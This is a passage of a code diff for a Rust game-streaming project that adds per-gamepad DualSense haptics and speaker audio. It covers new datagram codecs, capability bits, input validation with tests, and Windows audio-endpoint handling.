fn gamepad_snapshot_roundtrip() {
let s = GamepadSnapshot {
+7 -1
View File
@@ -132,7 +132,13 @@ pub use stats::Stats;
/// says what it says — so v15 is the floor that *guarantees* them: at or above it the surface is
/// present, below it an embedder must probe for the symbol. Purely a version statement; no code
/// changed with this bump, and no wire change, so [`WIRE_VERSION`] is unchanged.
pub const ABI_VERSION: u32 = 15;
/// v16: added the pad-audio client surface — `punktfunk_connection_next_pad_audio` (the 0xD1
/// per-gamepad DualSense haptics/speaker plane) + `punktfunk_connection_set_pad_audio_caps` and
/// the `PUNKTFUNK_CLIENT_CAP_PAD_AUDIO` / `PUNKTFUNK_HOST_CAP_PAD_AUDIO` mirrors. Additive and
/// capability-gated end to end: the wire grows a new datagram tag (0xD1) an old client never
/// receives (double-gated caps), a new 0xCD kind (0x06, dropped as unknown by old clients) and
/// arrival flag bits 8/9 sent only toward a capable host, so [`WIRE_VERSION`] is unchanged.
pub const ABI_VERSION: u32 = 16;
/// The punktfunk/1 **wire** version — what `Hello`/`Welcome` carry and hosts equality-check.
/// Deliberately its own constant: [`ABI_VERSION`] tracks the embeddable **C surface**
+41
View File
@@ -121,6 +121,15 @@ pub const CLIENT_CAP_PHASE_LOCK: u8 = 0x02;
/// clean, the client keeps receiving the plain `0xC9` plane — so a client may always set this bit.
/// `0x04` — `0x01`/`0x02` are cursor / phase-lock.
pub const CLIENT_CAP_AUDIO_RED: u8 = 0x04;
/// [`Hello::client_caps`] bit: the client understands the pad-audio plane
/// ([`PAD_AUDIO_MAGIC`](super::datagram::PAD_AUDIO_MAGIC), `0xD1`) — per-gamepad DualSense
/// voice-coil haptics + speaker Opus frames, plus the [`HidOutput::AudioCtl`]
/// (super::datagram::HidOutput) routing/volume events. Active only when the host answers with
/// [`HOST_CAP_PAD_AUDIO`] AND the pad's arrival declared a renderer for the kind
/// ([`crate::input::ARRIVAL_FLAG_PAD_AUDIO_HAPTICS`]/`_SPEAKER`) — the capable-and-agreed
/// precedent, per pad; toward an older or incapable host nothing changes. `0x08` — `0x01` is [`CLIENT_CAP_CURSOR`],
/// `0x02` is [`CLIENT_CAP_PHASE_LOCK`], `0x04` is [`CLIENT_CAP_AUDIO_RED`].
pub const CLIENT_CAP_PAD_AUDIO: u8 = 0x08;
/// [`Welcome::host_caps`] bit: the host CAN forward the cursor out-of-band (it captures cursor
/// metadata separately from the frame — the Linux portal `SPA_META_Cursor` path; NOT gamescope,
@@ -154,6 +163,16 @@ pub const HOST_CAP_PEN: u8 = 0x10;
/// unconditionally and treat this bit as "expect redundancy", not "only redundancy".
/// `0x20` — `0x10` is [`HOST_CAP_PEN`], `0x08` is [`HOST_CAP_CURSOR`].
pub const HOST_CAP_AUDIO_RED: u8 = 0x20;
/// [`Welcome::host_caps`] bit: the host can capture pad audio — its virtual DualSense exposes
/// the pad's audio endpoints (voice-coil haptics + speaker), so a game's per-pad audio can be
/// captured and shipped on the [`PAD_AUDIO_MAGIC`](super::datagram::PAD_AUDIO_MAGIC) plane.
/// Set only when the client asked via [`CLIENT_CAP_PAD_AUDIO`]; when both bits agree, a
/// capable client marks its pads' render capabilities on their arrivals
/// ([`crate::input::ARRIVAL_FLAG_PAD_AUDIO_HAPTICS`]/`_SPEAKER`) and the host emits `0xD1`
/// toward exactly those pads. `0x40` — `0x20` is [`HOST_CAP_AUDIO_RED`], `0x10` is
/// [`HOST_CAP_PEN`], `0x08` is [`HOST_CAP_CURSOR`], `0x04` is [`HOST_CAP_TEXT_INPUT`],
/// `0x01`/`0x02` are gamepad-state / clipboard.
pub const HOST_CAP_PAD_AUDIO: u8 = 0x40;
/// [`Hello::video_codecs`] bit: the client can decode H.264 / AVC. The GPU-less **software**
/// encode path (openh264) emits H.264, so a client that wants to stream from a software host MUST
@@ -337,6 +356,28 @@ mod tests {
);
}
#[test]
fn pad_audio_cap_bits_are_distinct() {
// The new pad-audio bits pack into the existing caps bytes without colliding with any
// taken bit (a collision would silently negotiate an unrelated feature).
assert_eq!(
CLIENT_CAP_PAD_AUDIO & (CLIENT_CAP_CURSOR | CLIENT_CAP_PHASE_LOCK),
0
);
assert_eq!(
HOST_CAP_PAD_AUDIO
& (HOST_CAP_GAMEPAD_STATE
| HOST_CAP_CLIPBOARD
| HOST_CAP_TEXT_INPUT
| HOST_CAP_CURSOR
| HOST_CAP_PEN),
0
);
// Single-bit values (a multi-bit cap would OR neighbours in).
assert_eq!(CLIENT_CAP_PAD_AUDIO.count_ones(), 1);
assert_eq!(HOST_CAP_PAD_AUDIO.count_ones(), 1);
}
#[test]
fn resolve_codec_canonicalizes_a_multi_bit_preference() {
// A non-conformant peer may stuff its capability MASK into `preferred` — the result
+197 -3
View File
@@ -1,12 +1,15 @@
//! The QUIC-datagram side planes, demultiplexed by their first byte (0xC90xCF):
//! audio, rumble, mic uplink, rich input, HID output, HDR metadata, host timing.
//! The QUIC-datagram side planes, demultiplexed by their first byte (0xC90xD1):
//! audio, rumble, mic uplink, rich input, HID output, HDR metadata, host timing,
//! cursor state, pad audio.
/// Datagram wire tags. Video rides UDP; everything low-rate rides QUIC datagrams,
/// demultiplexed by the first byte: input = [`crate::input::INPUT_MAGIC`] (0xC8, client→host),
/// audio = [`AUDIO_MAGIC`] (0xC9, host→client), rumble = [`RUMBLE_MAGIC`] (0xCA, host→client),
/// mic = [`MIC_MAGIC`] (0xCB, client→host), rich-input = [`RICH_INPUT_MAGIC`] (0xCC, client→host),
/// HID-output = [`HIDOUT_MAGIC`] (0xCD, host→client), HDR metadata = [`HDR_META_MAGIC`]
/// (0xCE, host→client).
/// (0xCE, host→client), host timing = [`HOST_TIMING_MAGIC`] (0xCF, host→client), cursor state =
/// [`CURSOR_STATE_MAGIC`] (0xD0, host→client), pad audio = [`PAD_AUDIO_MAGIC`] (0xD1,
/// host→client).
pub const AUDIO_MAGIC: u8 = 0xC9;
pub const RUMBLE_MAGIC: u8 = 0xCA;
/// Microphone uplink: the client's mic, Opus-encoded, client → host (the inverse of
@@ -416,6 +419,7 @@ const HIDOUT_PLAYER_LEDS: u8 = 0x02;
const HIDOUT_TRIGGER: u8 = 0x03;
const HIDOUT_TRACKPAD_HAPTIC: u8 = 0x04;
const HIDOUT_HID_RAW: u8 = 0x05;
const HIDOUT_AUDIO_CTL: u8 = 0x06;
/// [`HidOutput::HidRaw`] `kind`: an OUTPUT report — what the host's hidraw client wrote with
/// `write()`/`SDL_hid_write` (Triton rumble `0x80`, haptic pulse `0x81`, …). The client replays
@@ -464,6 +468,16 @@ pub enum HidOutput {
/// hardware safety timeout, and settings (lizard/IMU) are refreshed every ~3 s against the
/// firmware watchdog — a lost datagram heals on the next refresh.
HidRaw { pad: u8, kind: u8, data: Vec<u8> },
/// The audio-control region of a DS5 output report `0x02` a game wrote to the host's virtual
/// pad — the routing/volume side of pad audio (the audio SAMPLES ride the [`PAD_AUDIO_MAGIC`]
/// plane). `raw` is bytes 5..=10 of the report verbatim (headphone/speaker/mic volumes +
/// audio routing); `flags` condenses the report's audio valid-flags: bit0 = haptics-select
/// (`valid_flag0` bit1 — the title asked for audio haptics on the voice coils), bits1..4 =
/// `valid_flag0` bits 4..7 (the audio-valid flags gating `raw`). Wire form
/// `[0xCD][0x06][u16 pad LE][u8 flags][6 raw bytes]`. Forwarded change-only (deduped by
/// value host-side, like `Led`/`Trigger`) — a merely-rumbling pad re-sends unchanged audio
/// state on every output report.
AudioCtl { pad: u16, flags: u8, raw: [u8; 6] },
}
impl HidOutput {
@@ -496,6 +510,12 @@ impl HidOutput {
out.extend_from_slice(&[HIDOUT_HID_RAW, *pad, *kind]);
out.extend_from_slice(&data[..data.len().min(HID_REPORT_MAX)]);
}
HidOutput::AudioCtl { pad, flags, raw } => {
out.push(HIDOUT_AUDIO_CTL);
out.extend_from_slice(&pad.to_le_bytes());
out.push(*flags);
out.extend_from_slice(raw);
}
}
out
}
@@ -540,6 +560,22 @@ impl HidOutput {
// Bounded: at most HID_REPORT_MAX bytes are kept from the (attacker-sized) tail.
data: b[4..b.len().min(4 + HID_REPORT_MAX)].to_vec(),
}),
// B27: the pad is the only u16 index on this plane, and every consumer narrows it
// with `as u8` on the stated assumption that pads are 0..MAX_PADS. Nothing enforced
// that, so wire pad 256 silently ALIASED onto slot 0 — a malformed or hostile
// datagram steering a real controller's speaker volumes. Rejected here, at the one
// place the u16 exists, so the narrowings downstream are lossless by construction
// (the same fix R10 applied to the rumble plane).
HIDOUT_AUDIO_CTL
if b.len() >= 11
&& u16::from_le_bytes([b[2], b[3]]) < crate::input::MAX_PADS as u16 =>
{
Some(HidOutput::AudioCtl {
pad: u16::from_le_bytes([b[2], b[3]]),
flags: b[4],
raw: b[5..11].try_into().unwrap(),
})
}
_ => None,
}
}
@@ -798,6 +834,72 @@ pub fn decode_cursor_state_datagram(b: &[u8]) -> Option<CursorState> {
})
}
/// Pad-audio datagram tag, host → client: per-gamepad audio a game routed
/// to the host's virtual DualSense — voice-coil haptics and the built-in speaker — for the client
/// to render on the matching real controller. Next tag after [`CURSOR_STATE_MAGIC`]. The
/// per-pad AUDIO plane (Opus frames, the [`AUDIO_MAGIC`]/[`MIC_MAGIC`] shape plus pad + kind);
/// the routing/volume CONTROL side rides [`HidOutput::AudioCtl`]. Emitted only when the session
/// negotiated it ([`CLIENT_CAP_PAD_AUDIO`](super::caps::CLIENT_CAP_PAD_AUDIO) ∧
/// [`HOST_CAP_PAD_AUDIO`](super::caps::HOST_CAP_PAD_AUDIO)) and the pad's arrival declared a
/// renderer for the kind ([`crate::input::ARRIVAL_FLAG_PAD_AUDIO_HAPTICS`]/`_SPEAKER`).
/// Best-effort like every audio datagram: a lost frame is a concealed gap, never state.
pub const PAD_AUDIO_MAGIC: u8 = 0xD1;
/// [`PadAudioFrame::kind`]: the BACK channel pair — the DualSense voice-coil actuators (audio
/// haptics). 5 ms Opus frames, matching the [`AUDIO_MAGIC`] cadence: haptics are felt latency.
pub const PAD_AUDIO_KIND_HAPTICS: u8 = 0;
/// [`PadAudioFrame::kind`]: the FRONT channel pair — the controller's built-in speaker. 10 ms
/// Opus frames (speaker content tolerates the extra buffering for the better coding efficiency).
pub const PAD_AUDIO_KIND_SPEAKER: u8 = 1;
/// Wire length of a pad-audio datagram header: tag + pad + kind + u32 seq + u64 pts = 15 bytes.
const PAD_AUDIO_HEADER_LEN: usize = 1 + 1 + 1 + 4 + 8;
/// One decoded pad-audio frame (owned — the client's plane queue stores it). `seq`/`pts_ns` are
/// per-(pad, kind) counters from the host's capture clock, for gap concealment and lip-sync
/// against the main audio plane.
#[derive(Clone, Debug, PartialEq, Eq)]
pub struct PadAudioFrame {
/// Gamepad index (the wire pad space, same as rumble/HID-output).
pub pad: u8,
/// [`PAD_AUDIO_KIND_HAPTICS`] or [`PAD_AUDIO_KIND_SPEAKER`].
pub kind: u8,
pub seq: u32,
pub pts_ns: u64,
/// The raw Opus payload — feed it to an Opus decoder as one frame. Empty = DTX silence.
pub opus: Vec<u8>,
}
/// Pad-audio datagram, host → client:
/// `[0xD1][u8 pad][u8 kind][u32 seq LE][u64 pts_ns LE][opus payload]` — the
/// [`encode_audio_datagram`]/[`encode_mic_datagram`] layout with a pad + kind prefix, one Opus
/// frame per datagram (5/10 ms — well under any MTU); QUIC already encrypts.
pub fn encode_pad_audio_datagram(pad: u8, kind: u8, seq: u32, pts_ns: u64, opus: &[u8]) -> Vec<u8> {
let mut b = Vec::with_capacity(PAD_AUDIO_HEADER_LEN + opus.len());
b.push(PAD_AUDIO_MAGIC);
b.push(pad);
b.push(kind);
b.extend_from_slice(&seq.to_le_bytes());
b.extend_from_slice(&pts_ns.to_le_bytes());
b.extend_from_slice(opus);
b
}
/// Parse a pad-audio datagram → [`PadAudioFrame`]. `None` on bad tag/length (the fixed header
/// length bounds every read before it happens).
pub fn decode_pad_audio_datagram(buf: &[u8]) -> Option<PadAudioFrame> {
if buf.len() < PAD_AUDIO_HEADER_LEN || buf[0] != PAD_AUDIO_MAGIC {
return None;
}
Some(PadAudioFrame {
pad: buf[1],
kind: buf[2],
seq: u32::from_le_bytes(buf[3..7].try_into().unwrap()),
pts_ns: u64::from_le_bytes(buf[7..15].try_into().unwrap()),
opus: buf[15..].to_vec(),
})
}
#[cfg(test)]
mod tests {
use crate::quic::*;
@@ -1281,6 +1383,12 @@ mod tests {
f
},
},
// The DS5 audio-control region (haptics-select + speaker volume asserted).
HidOutput::AudioCtl {
pad: 1,
flags: 0b0_0101,
raw: [0x50, 0x60, 0x70, 0x05, 0x00, 0x00],
},
];
for ev in &cases {
let d = ev.encode();
@@ -1299,6 +1407,92 @@ mod tests {
)
.is_none());
}
#[test]
fn audio_ctl_wire_layout_and_truncation() {
// The exact 11-byte layout: [0xCD][0x06][u16 pad LE][u8 flags][6 raw bytes].
// The pad is deliberately a REPRESENTABLE one: this used to assert that 0x0201 (513)
// round-tripped, which pinned B27's aliasing in place as if it were the contract.
let a = HidOutput::AudioCtl {
pad: 0x000B,
flags: 0x17,
raw: [1, 2, 3, 4, 5, 6],
};
let d = a.encode();
assert_eq!(d, [0xCD, 0x06, 0x0B, 0x00, 0x17, 1, 2, 3, 4, 5, 6]);
assert_eq!(HidOutput::decode(&d), Some(a));
// Truncated buffers are rejected outright (fixed length — never a partial read).
for n in 2..d.len() {
assert_eq!(HidOutput::decode(&d[..n]), None);
}
}
#[test]
fn pad_audio_datagram_roundtrip_and_truncation() {
let opus = [0x5Au8; 61];
let d = encode_pad_audio_datagram(3, PAD_AUDIO_KIND_HAPTICS, 42, 9_999, &opus);
assert_eq!(d[0], PAD_AUDIO_MAGIC);
assert_eq!(d.len(), 15 + opus.len());
let f = decode_pad_audio_datagram(&d).unwrap();
assert_eq!((f.pad, f.kind, f.seq, f.pts_ns), (3, 0, 42, 9_999));
assert_eq!(f.opus, opus);
// Truncated headers are rejected outright (never partially read).
for n in 0..15 {
assert_eq!(decode_pad_audio_datagram(&d[..n]), None);
}
// Tag separation: a pad-audio datagram is not a session-audio/mic datagram and vice-versa.
assert!(decode_audio_datagram(&d).is_none());
assert!(decode_mic_datagram(&d).is_none());
assert!(decode_pad_audio_datagram(&encode_audio_datagram(1, 2, &opus)).is_none());
// Empty payload (DTX) is legal — header-only datagram.
let hdr = encode_pad_audio_datagram(0, PAD_AUDIO_KIND_SPEAKER, 0, 0, &[]);
assert_eq!(hdr.len(), 15);
assert!(decode_pad_audio_datagram(&hdr).unwrap().opus.is_empty());
}
/// B27: the pad is the only u16 index on the 0xCD plane and every consumer narrows it with
/// `as u8`. An out-of-range one used to alias onto a real slot instead of being refused —
/// wire pad 256 steering pad 0's speaker volumes.
#[test]
fn audio_ctl_rejects_a_pad_outside_the_index_space() {
let ok = HidOutput::AudioCtl {
pad: (crate::input::MAX_PADS - 1) as u16,
flags: 0x12,
raw: [1, 2, 3, 4, 5, 6],
};
assert_eq!(
HidOutput::decode(&ok.encode()),
Some(ok),
"the last valid pad must still decode"
);
// Anything at or above MAX_PADS is refused outright, not truncated.
for pad in [crate::input::MAX_PADS as u16, 256, u16::MAX] {
let d = HidOutput::AudioCtl {
pad,
flags: 0x12,
raw: [1, 2, 3, 4, 5, 6],
}
.encode();
assert_eq!(HidOutput::decode(&d), None, "pad {pad} must not decode");
}
// The specific alias the bug produced: 256 as u8 == 0.
let d = HidOutput::AudioCtl {
pad: 256,
flags: 0,
raw: [0; 6],
}
.encode();
assert!(
!matches!(
HidOutput::decode(&d),
Some(HidOutput::AudioCtl { pad: 0, .. })
),
"wire pad 256 must never surface as pad 0"
);
}
#[test]
fn cursor_state_roundtrip() {
for (flags, x, y) in [
+1 -1
View File
@@ -25,7 +25,7 @@
//! Split by concern (networking-audit deferred plan §3 — a pure move): `handshake` the
//! positional Hello/Welcome/Start codecs, `caps` the capability/codec-negotiation
//! vocabulary, `control` the typed control + clipboard messages, `pairing` the pairing
//! message codecs with [`pake`] the SPAKE2 itself, `datagram` the 0xC90xCF plane codecs,
//! message codecs with [`pake`] the SPAKE2 itself, `datagram` the 0xC90xD1 plane codecs,
//! `pen` the stylus batch (0xCC kind 0x05) + host stroke tracker,
//! [`io`] framed stream IO, `clock` skew estimation + mid-stream re-sync, [`endpoint`] the
//! quinn constructors, [`clipstream`] the per-transfer clipboard fetch streams. Every item
+11
View File
@@ -259,6 +259,17 @@ windows = { version = "0.62", features = [
# CoCreateInstance(PolicyConfigClient) — set the default audio playback/recording endpoints via the
# undocumented IPolicyConfig (audio/windows/audio_control.rs) so mic + desktop audio auto-wire.
"Win32_System_Com",
# Pad-audio endpoint provisioning (audio/windows/pad_endpoint.rs): IMMDevice + IPropertyStore
# to stamp the DualSense identity onto the minted endpoints (PROPVARIANT lives in
# StructuredStorage and is gated on the Variant feature), DEVPKEY_Device_DriverInfPath to
# resolve the installed Steam Streaming Speakers INF, and raw Reg* calls behind the MMDevices
# ACL repair + the devnode's pad-index marker value.
"Win32_Media_Audio",
"Win32_UI_Shell_PropertiesSystem",
"Win32_System_Com_StructuredStorage",
"Win32_System_Variant",
"Win32_Devices_Properties",
"Win32_System_Registry",
# SetUnhandledExceptionFilter + EXCEPTION_POINTERS — the last-resort native-crash logger
# (src/windows/crash.rs); Kernel gates the CONTEXT type EXCEPTION_POINTERS embeds.
"Win32_System_Diagnostics_Debug",
+6
View File
@@ -183,6 +183,12 @@ pub fn open_virtual_mic(_channels: u32) -> Result<Box<dyn VirtualMic>> {
mod audio_control;
#[cfg(target_os = "linux")]
mod linux;
// DualSense pad-audio endpoint provisioning + loopback capture (design: pad haptics/audio).
// pub(crate): the session layer queries endpoints by pad index and the CLI exposes the
// `pad-endpoint` devtest.
#[cfg(target_os = "windows")]
#[path = "audio/windows/pad_endpoint.rs"]
pub(crate) mod pad_endpoint;
#[cfg(target_os = "windows")]
#[path = "audio/windows/wasapi_cap.rs"]
mod wasapi_cap;
@@ -143,6 +143,17 @@ pub(crate) fn wire_now(set_playback: bool) -> Wiring {
wire_now_full(set_playback).wiring
}
/// Endpoint ids among `renders` that are the host's own pad-audio endpoints — the exclusion
/// data [`plan`] runs on. Detection lives in [`super::pad_endpoint`] (stamped PFDS container /
/// devnode marker, registry-only reads); this is just the per-pass collection.
fn pad_render_ids(renders: &[Endpoint]) -> Vec<String> {
renders
.iter()
.filter(|(_, id)| super::pad_endpoint::is_pad_render_endpoint(id))
.map(|(_, id)| id.clone())
.collect()
}
/// Enumerate endpoints, compute the assignment, apply the default-device changes (unless
/// `PUNKTFUNK_KEEP_DEFAULT`), and return the plan for the caller to act on (mic target / loopback
/// echo guard). `set_playback` — true only from the desktop-audio capture open — additionally
@@ -159,6 +170,10 @@ pub(crate) fn wire_now_full(set_playback: bool) -> WiredPlan {
let want = std::env::var("PUNKTFUNK_MIC_DEVICE")
.ok()
.map(|s| s.to_lowercase());
// The host's own pad-audio ("DualSense speaker") endpoints, by id — the pure plan filters
// them out of every role. Identity is platform data (stamped container / devnode marker),
// so it is collected HERE and passed in, like the candidate lists themselves.
let pad_ids = pad_render_ids(&renders);
// Mix formats are read only when we are actually going to park the playback default (i.e. a
// desktop-audio capture is opening). The mic pump wires on every open while the host is idle
// and does not care which loopback endpoint wins, so it must not pay an IAudioClient
@@ -179,6 +194,7 @@ pub(crate) fn wire_now_full(set_playback: bool) -> WiredPlan {
// only count a *narrowing* verdict can be made against without guessing: an endpoint that
// cannot carry stereo cannot carry 5.1 either.
2,
&pad_ids,
);
let done = |wiring: Wiring| WiredPlan {
wiring,
@@ -245,7 +261,7 @@ pub(crate) fn wire_now_full(set_playback: bool) -> WiredPlan {
if let Some((mic_name, mic_id)) = &wiring.mic_render {
if default_render_id().as_deref() == Some(mic_id.as_str()) {
// Audible preference = the host_audio plan's loopback pick (real hardware first).
match plan(&renders, &captures, want.as_deref(), true).loopback_render {
match plan(&renders, &captures, want.as_deref(), true, &pad_ids).loopback_render {
Some((name, id)) => match set_default_endpoint(&id) {
Ok(()) => tracing::info!(mic = %mic_name, device = %name,
"default playback was the virtual-mic target — moved it so desktop \
@@ -302,8 +318,10 @@ fn park_marker_path() -> std::path::PathBuf {
pf_paths::config_dir().join("audio-default.prev")
}
/// The current default RENDER endpoint id, if any.
fn default_render_id() -> Option<String> {
/// The current default RENDER endpoint id, if any. pub(crate): the pad-endpoint provisioning
/// uses it for its default-device guard (a freshly minted pad endpoint must never stay the
/// default playback device).
pub(crate) fn default_render_id() -> Option<String> {
wasapi::DeviceEnumerator::new()
.ok()?
.get_default_device(&Direction::Render)
@@ -430,11 +448,13 @@ pub(crate) fn restore_default_playback() {
}
/// Open a device by endpoint id, with a name for error context.
///
/// Resolves through [`super::pad_endpoint::open_wasapi_device`], NOT the `wasapi` crate's
/// `DeviceEnumerator::get_device` — that one hands `GetDevice` a freed string (see the helper's
/// docs), so it fails at random on ids that are perfectly valid.
pub(crate) fn open_endpoint(ep: &Endpoint) -> Result<wasapi::Device> {
wasapi::DeviceEnumerator::new()
.map_err(|e| anyhow!("DeviceEnumerator: {e}"))?
.get_device(&ep.1)
.map_err(|e| anyhow!("open endpoint {:?}: {e}", ep.0))
super::pad_endpoint::open_wasapi_device(&ep.1)
.map_err(|e| anyhow!("open endpoint {:?}: {e:#}", ep.0))
}
// --- IPolicyConfig (undocumented): set a default audio endpoint by id, for all three roles. ---
@@ -481,8 +501,9 @@ const _: () = {
/// Set `device_id` as the default audio endpoint for eConsole/eMultimedia/eCommunications via the
/// undocumented `IPolicyConfig::SetDefaultEndpoint` (the call `mmsys.cpl` makes). Errs if any role
/// fails.
fn set_default_endpoint(device_id: &str) -> Result<()> {
/// fails. pub(crate): the pad-endpoint default-device guard restores the operator's default
/// through the same machinery.
pub(crate) fn set_default_endpoint(device_id: &str) -> Result<()> {
use windows::core::{IUnknown, Interface, GUID, PCWSTR};
use windows::Win32::System::Com::{CoCreateInstance, CLSCTX_ALL};
File diff suppressed because it is too large Load Diff
@@ -511,7 +511,7 @@ fn capture_once(
if assert_plan {
if let Some(d) = seen_default.as_deref() {
if d != dev_id {
match judge_default(&en, wiring, d) {
match judge_default(wiring, d) {
DefaultKind::Capturable(name) => {
tracing::info!(default = %name, planned = %dev_name,
"could not park the default playback on the planned endpoint — \
@@ -639,7 +639,7 @@ fn capture_once(
);
return Ok(Next::Reopen(TargetMode::Follow));
}
match judge_default(&en, wiring, &nid) {
match judge_default(wiring, &nid) {
DefaultKind::Capturable(name) => {
audio_client.stop_stream().ok();
tracing::info!(device = %name,
@@ -726,8 +726,11 @@ enum DefaultKind {
Unknown,
}
fn judge_default(en: &DeviceEnumerator, wiring: &wiring_plan::Wiring, id: &str) -> DefaultKind {
let Ok(dev) = en.get_device(id) else {
/// Resolves through [`super::pad_endpoint::open_wasapi_device`], NOT the `wasapi` crate's
/// `DeviceEnumerator::get_device` — that one hands `GetDevice` a freed string (see the helper's
/// docs), and a spurious miss here silently downgrades a capturable default to `Unknown`.
fn judge_default(wiring: &wiring_plan::Wiring, id: &str) -> DefaultKind {
let Ok(dev) = super::pad_endpoint::open_wasapi_device(id) else {
return DefaultKind::Unknown;
};
let name = dev.get_friendlyname().unwrap_or_default();
@@ -736,7 +739,15 @@ fn judge_default(en: &DeviceEnumerator, wiring: &wiring_plan::Wiring, id: &str)
.mic_render
.as_ref()
.is_some_and(|(_, mic_id)| mic_id == id);
if is_mic || wiring_plan::excluded_from_loopback(&ln) {
// B10: a pad's audio endpoint is not ordinary hardware, and the name rules cannot see that —
// it is deliberately stamped with the controller's own name ("DualSense Wireless Controller")
// so games treat it as the pad's speaker, which means `excluded_from_loopback` passes it
// straight through as `Capturable`. The pure plan filtered these out, but the plan is not the
// only reader: this classifier drives the watchdog, Follow mode and the parked default, so a
// pad endpoint that happened to be the system default could be adopted as the desktop capture
// source — sending the whole desktop mix to a controller's voice coils. Identity, not name.
let is_pad = super::pad_endpoint::is_pad_render_endpoint(id);
if is_mic || is_pad || wiring_plan::excluded_from_loopback(&ln) {
DefaultKind::Dud(name)
} else {
DefaultKind::Capturable(name)
@@ -253,25 +253,16 @@ pub(crate) fn install_steam_audio_pair() -> bool {
mic || spk
}
/// Install one Steam Streaming driver INF by filename via `DiInstallDriverW` (loaded from
/// `newdev.dll`, like Apollo, to avoid an extra windows-crate feature). See
/// [`install_steam_audio_pair`] for the contract; `inf_name` is a bare filename under Steam's
/// per-arch `drivers\Windows10\{arch}\` directory.
///
/// Safe: `inf_name` is a `&str` and every FFI argument is built locally from it, so there is no
/// precondition a caller could break — the `unsafe` is the `LoadLibraryExW`/`transmute`/call chain
/// inside, which is this function's own business.
fn try_install_steam_audio(inf_name: &str) -> bool {
use windows::core::{s, w, PCWSTR};
use windows::Win32::Foundation::HWND;
/// Full path of a Steam Remote Play driver INF under Steam's per-arch driver directory
/// (`%CommonProgramFiles(x86)%\Steam\drivers\Windows10\{arch}\<inf_name>`), as a NUL-terminated
/// UTF-16 buffer. Shared by [`try_install_steam_audio`] and the pad-endpoint provisioning
/// ([`super::pad_endpoint`]), which feeds the same INF to `UpdateDriverForPlugAndPlayDevicesW`
/// when no installed Steam Streaming Speakers devnode exposes its `oemNN.inf`. `None` when the
/// environment expansion fails (existence is the caller's check).
pub(crate) fn steam_driver_inf_path(inf_name: &str) -> Option<Vec<u16>> {
use windows::core::PCWSTR;
use windows::Win32::System::Environment::ExpandEnvironmentStringsW;
use windows::Win32::System::LibraryLoader::{
GetProcAddress, LoadLibraryExW, LOAD_LIBRARY_SEARCH_SYSTEM32,
};
if std::env::var_os("PUNKTFUNK_NO_MIC_INSTALL").is_some() {
return false;
}
// Steam ships per-arch driver INFs under `Steam\drivers\Windows10\{arch}\`.
#[cfg(target_arch = "x86_64")]
let subdir = "x64";
@@ -290,8 +281,33 @@ fn try_install_steam_audio(inf_name: &str) -> bool {
let n =
unsafe { ExpandEnvironmentStringsW(PCWSTR(template.as_ptr()), Some(path.as_mut_slice())) };
if n == 0 || n as usize > path.len() {
return None;
}
path.truncate(n as usize); // keeps the NUL
Some(path)
}
/// Install one Steam Streaming driver INF by filename via `DiInstallDriverW` (loaded from
/// `newdev.dll`, like Apollo, to avoid an extra windows-crate feature). See
/// [`install_steam_audio_pair`] for the contract; `inf_name` is a bare filename under Steam's
/// per-arch `drivers\Windows10\{arch}\` directory.
///
/// Safe: `inf_name` is a `&str` and every FFI argument is built locally from it, so there is no
/// precondition a caller could break — the `unsafe` is the `LoadLibraryExW`/`transmute`/call chain
/// inside, which is this function's own business.
fn try_install_steam_audio(inf_name: &str) -> bool {
use windows::core::{s, w, PCWSTR};
use windows::Win32::Foundation::HWND;
use windows::Win32::System::LibraryLoader::{
GetProcAddress, LoadLibraryExW, LOAD_LIBRARY_SEARCH_SYSTEM32,
};
if std::env::var_os("PUNKTFUNK_NO_MIC_INSTALL").is_some() {
return false;
}
let Some(path) = steam_driver_inf_path(inf_name) else {
return false;
};
// SAFETY: a static NUL-terminated literal, loaded from System32 only (the flag), so this cannot
// pick up a planted `newdev.dll` from the working directory. The handle is checked before use.
+120 -27
View File
@@ -186,6 +186,17 @@ fn virtualish(lname: &str) -> bool {
|| lname.contains("voicemeeter")
}
/// Is this render endpoint id one of the virtual pad's audio endpoints?
///
/// Pulled out of [`plan`] because the plan is NOT the only place that must not treat these as
/// ordinary hardware — see [`excluded_from_loopback`]'s callers. A pad endpoint is deliberately
/// stamped with the controller's own name ("DualSense Wireless Controller") so games read it as
/// the pad's speaker, which means no name-based rule can recognise one; the only reliable test is
/// identity against the ids the pad-endpoint provisioner created.
pub(crate) fn is_pad_render(id: &str, pad_renders: &[String]) -> bool {
pad_renders.iter().any(|p| p == id)
}
/// Compute the assignment. `mic_want` is the operator override (`PUNKTFUNK_MIC_DEVICE`,
/// lowercased): when set it beats the built-in candidate order for the mic target. `host_audio`
/// flips the loopback preference to real hardware (audio audible on the host too); the default
@@ -195,8 +206,17 @@ pub(crate) fn plan(
captures: &[Endpoint],
mic_want: Option<&str>,
host_audio: bool,
pad_renders: &[String],
) -> Wiring {
plan_with_formats(renders, captures, mic_want, host_audio, &no_formats, 2)
plan_with_formats(
renders,
captures,
mic_want,
host_audio,
&no_formats,
2,
pad_renders,
)
}
/// [`plan`] with knowledge of each render endpoint's engine mix format, and the channel count the
@@ -221,7 +241,20 @@ pub(crate) fn plan_with_formats(
host_audio: bool,
format_of: FormatProbe,
want_channels: u8,
pad_renders: &[String],
) -> Wiring {
// 0. Pad-audio endpoints are invisible to the plan: never the mic target (client voice
// would play out of a pad "speaker"), never a loopback source (a game's controller
// audio cues would stream as desktop audio), and — since this shadows `renders` for
// every tier below — never the flagged last resort either. Their names carry no virtual
// marker (they are stamped "DualSense Wireless Controller" on purpose, so games read
// them as the pad's speaker), so the name rules alone would take one for real hardware.
let renders: Vec<Endpoint> = renders
.iter()
.filter(|(_, id)| !is_pad_render(id, pad_renders))
.cloned()
.collect();
let renders = renders.as_slice();
let find_render = |needle: &str| {
renders
.iter()
@@ -422,7 +455,7 @@ mod tests {
ep("Microphone (Webcam)"),
ep("CABLE Output (VB-Audio Virtual Cable)"),
];
let w = plan(&renders, &captures, None, false);
let w = plan(&renders, &captures, None, false, &[]);
assert_eq!(
w.mic_render.unwrap().0,
"CABLE Input (VB-Audio Virtual Cable)"
@@ -451,7 +484,7 @@ mod tests {
ep("CABLE Output (VB-Audio Virtual Cable)"),
ep("Microphone (Steam Streaming Microphone)"),
];
let w = plan(&renders, &captures, None, false);
let w = plan(&renders, &captures, None, false, &[]);
assert_eq!(
w.mic_render.unwrap().0,
"CABLE Input (VB-Audio Virtual Cable)"
@@ -471,7 +504,7 @@ mod tests {
ep("CABLE Input (VB-Audio Virtual Cable)"),
ep("Speakers (Steam Streaming Microphone)"),
];
let w = plan(&renders, &[], None, true);
let w = plan(&renders, &[], None, true, &[]);
